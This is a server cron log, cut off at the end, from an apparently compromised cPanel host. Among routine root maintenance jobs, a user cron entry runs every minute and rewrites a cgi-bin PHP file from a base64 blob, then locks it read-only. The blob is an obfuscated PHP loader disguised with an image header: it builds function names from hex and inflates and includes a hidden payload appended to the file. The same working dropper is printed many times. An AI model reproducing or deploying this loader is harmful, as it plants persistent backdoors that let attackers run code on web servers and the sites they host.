Sep 10 14:34:01 server CROND[3201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:34:01 server CROND[3202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:35:01 server CROND[3672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:35:01 server CROND[3674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:35:01 server CROND[3679]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:35:01 server CROND[3678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:35:01 server CROND[3676]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:35:01 server CROND[3675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:35:01 server CROND[3677]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 14:35:01 server CROND[3680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:35:01 server CROND[3682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:36:01 server CROND[4512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:36:01 server CROND[4513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:36:01 server CROND[4514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:37:01 server CROND[4891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:37:01 server CROND[4892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:37:01 server CROND[4893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:38:01 server CROND[5265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:38:01 server CROND[5266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:38:01 server CROND[5264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:39:01 server CROND[5632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:39:01 server CROND[5634]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 14:39:01 server CROND[5633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:39:01 server CROND[5635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:40:01 server CROND[6119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:40:01 server CROND[6120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:40:01 server CROND[6127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:40:01 server CROND[6125]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:40:01 server CROND[6130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:40:01 server CROND[6128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:40:01 server CROND[6131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:40:01 server CROND[6132]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:41:01 server CROND[6951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:41:01 server CROND[6952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:41:01 server CROND[6953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:42:01 server CROND[7318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:42:01 server CROND[7319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:42:01 server CROND[7320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:42:01 server CROND[7321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:43:01 server CROND[7707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:43:01 server CROND[7708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:43:01 server CROND[7709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:44:01 server CROND[8078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:44:01 server CROND[8079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:44:01 server CROND[8080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:45:01 server CROND[8450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:45:01 server CROND[8451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:45:01 server CROND[8453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:45:01 server CROND[8454]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:45:01 server CROND[8457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:45:01 server CROND[8458]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:45:01 server CROND[8459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqB